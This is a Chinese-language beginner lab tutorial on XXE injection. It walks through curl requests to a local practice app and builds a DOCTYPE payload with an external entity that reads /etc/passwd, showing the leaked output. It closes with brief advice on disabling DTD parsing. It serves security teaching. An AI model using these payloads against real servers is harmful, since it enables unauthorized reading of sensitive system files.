XML 外部实体 (XXE) 注入

网络安全Beginner
立即练习

简介

在本实验中,你将学习 XML 外部实体 (XXE) 注入,这是一种允许攻击者干扰应用程序处理 XML 数据方式的 Web 安全漏洞。

XXE 的本质在于解析器的行为。应用程序认为它只是在解析数据,但 XML 解析器同时也在处理嵌入在该数据格式中的额外指令。

当 Web 应用程序在解析 XML 输入时没有正确禁用外部实体解析,攻击者就可以定义指向服务器本地文件的自定义实体。通过将这些恶意实体注入到 XML 负载中,攻击者可以强制服务器读取敏感文件(如 /etc/passwd)并将其内容返回到 HTTP 响应中。你将扮演安全测试人员的角色,识别 XML 端点,构建恶意负载,并成功提取系统文件。

识别 XML 数据处理

在这一步中,我们将与为本实验设置的本地 Web 应用程序进行交互。该应用程序运行在 127.0.0.1 的 5000 端口上,并提供了一个接收 XML 数据的 /process 端点。

XML (eXtensible Markup Language) 是一种常用于在客户端和服务器之间结构化传输数据的格式。在利用 XXE 漏洞之前,我们首先需要确认应用程序确实处理了 XML 输入,并将解析后的数据反馈给我们。

这一初步确认非常重要,因为只有在确实发生了 XML 解析时,XXE 才有可能实现。许多端点虽然接受文本,但并非所有端点都会将主体视为 XML。

我们将使用 curl 命令行工具向服务器发送 HTTP POST 请求。POST 请求用于向应用程序发送数据,而 Content-Type: application/xml 标头则告诉服务器将该数据解释为 XML,而不是纯文本或 JSON。

在终端中运行以下命令以发送一个基本的 XML 负载:

curl -X POST -H "Content-Type: application/xml" -d '<root><name>LabEx User</name></root>' http://127.0.0.1:5000/process

你应该会看到类似以下的输出:

Hello, LabEx User!

此输出确认了两件重要的事情。首先,应用程序成功解析了我们的 XML 数据。其次,应用程序提取了 <name> 标签内的文本,并在响应中将其反馈给我们。这种反馈至关重要,因为它为我们后续查看注入实体的结果提供了途径。

拦截 XML 请求

在现实世界的渗透测试中,安全研究人员通常使用 Burp Suite 等代理工具来拦截和修改 Web 请求。由于我们完全在终端中工作,我们将通过将 XML 负载保存到本地文件来模拟此过程。这样可以更轻松地编辑和注入复杂的、多行的 XML 结构,而无需处理繁琐的命令行转义。

将负载放入文件中不仅仅是为了方便。它使复杂的结构化输入更易于理解和修改,这在语法本身会影响利用效果时尤为重要。

让我们在当前目录 (~/project) 中创建一个名为 payload.xml 的文件。我们将使用 nano 文本编辑器来创建和编辑此文件。如果你之前没有使用过 nano,它是一个简单的基于终端的文本编辑器,非常适合处理此类小型负载文件。

运行以下命令打开编辑器:

nano payload.xml

在文件中输入或粘贴以下标准 XML 结构:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>Security Tester</name>
</root>

保存文件并退出编辑器(在 nano 中,按 Ctrl+O,然后按 Enter 保存,按 Ctrl+X 退出)。

现在,让我们使用 curl 将此文件发送到服务器。@ 符号告诉 curl 从指定文件中读取数据,而不是将字符串视为字面量。

运行以下命令:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

你应该会看到以下输出:

Hello, Security Tester!

通过将负载放入文件中,我们准备好了一个干净的工作区,以便在接下来的步骤中开始构建我们的 XXE 注入。

定义外部实体 (DOCTYPE)

现在我们已经有了一个可用的 XML 文件,可以开始操纵其结构了。XML 允许开发人员在文档类型定义 (DOCTYPE) 中定义称为「实体」的自定义变量。DOCTYPE 是 XML 文档顶部的一个额外部分,用于描述解析器的规则或可重用值。

实体就像一个快捷方式。如果你定义了一个名为 test 且值为 Injected Data 的实体,那么每当你在 XML 文档中写入 &test; 时,XML 解析器都会将其替换为 Injected Data。如果解析器存在漏洞,它会在没有任何安全检查的情况下处理这些自定义实体。

这个无害的示例很重要,因为它证明了在进行基于文件的外部实体操作之前,实体扩展功能是启用的。

让我们修改 payload.xml 文件以包含 DOCTYPE 声明和自定义实体。

再次打开文件:

nano payload.xml

更新文件内容以匹配以下代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY test "Injected Entity Data">
]>
<root>
    <name>&test;</name>
</root>

保存文件并退出 nano (Ctrl+O, Enter, Ctrl+X)。

在此负载中,我们定义了一个名为 test 的实体。在 <name> 标签内,我们使用 &test; 引用了该实体。让我们将此更新后的负载发送到服务器,看看它是否解析了我们的自定义实体。

再次运行 curl 命令:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

你应该会看到以下输出:

Hello, Injected Entity Data!

服务器成功地将 &test; 替换为了我们的自定义字符串。这证明了 XML 解析器正在主动解析实体,这意味着它极有可能存在 XML 外部实体 (XXE) 注入漏洞。

提取本地文件 (/etc/passwd)

在上一步中,我们定义了一个内部实体。XXE 的真正危险在于我们定义「外部」实体时。通过使用 SYSTEM 关键字,我们可以指示 XML 解析器从外部源(例如 URL 或本地文件路径)获取实体的值。

如果 Web 服务器的 XML 解析器配置不当,它将读取我们指定的文件内容并将其嵌入到 XML 文档中。由于应用程序会将 <name> 标签的内容反馈给我们,我们将能够在 HTTP 响应中看到该文件的内容。这就是反馈机制对攻击者如此有价值的原因:它将不可见的服务器端文件读取操作转化为了浏览器或终端中可见的输出。

我们将尝试读取 /etc/passwd,这是一个包含用户账户信息的标准 Linux 文件。该文件对系统上的所有用户均可读取,因此它是测试文件读取漏洞的常用目标。

最后一次打开你的负载文件:

nano payload.xml

修改实体定义,使用 SYSTEM 关键字并使用 file:// 协议指向本地文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <name>&xxe;</name>
</root>

保存文件并退出 nano (Ctrl+O, Enter, Ctrl+X)。

现在,将恶意负载发送到服务器:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

如果利用成功,服务器将读取 /etc/passwd 文件并在响应中返回其内容。你应该会看到一大段类似以下的文本:

Hello, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
labex:x:1000:1000::/home/labex:/bin/zsh
!

恭喜!你已成功利用 XML 外部实体漏洞从 Web 服务器中提取了敏感的本地文件。

总结

在本实验中,你学习了如何识别和利用 XML 外部实体 (XXE) 漏洞。你首先验证了 Web 应用程序是否处理并反馈了 XML 数据。然后,你学习了如何使用 DOCTYPE 声明定义自定义 XML 实体。最后,你通过使用 SYSTEM 关键字创建外部实体升级了攻击,强制服务器的 XML 解析器读取本地 /etc/passwd 文件并返回其内容。

为了防止 XXE 漏洞,开发人员必须确保其 XML 解析器被配置为完全禁用外部实体和 DTD(文档类型定义)的解析。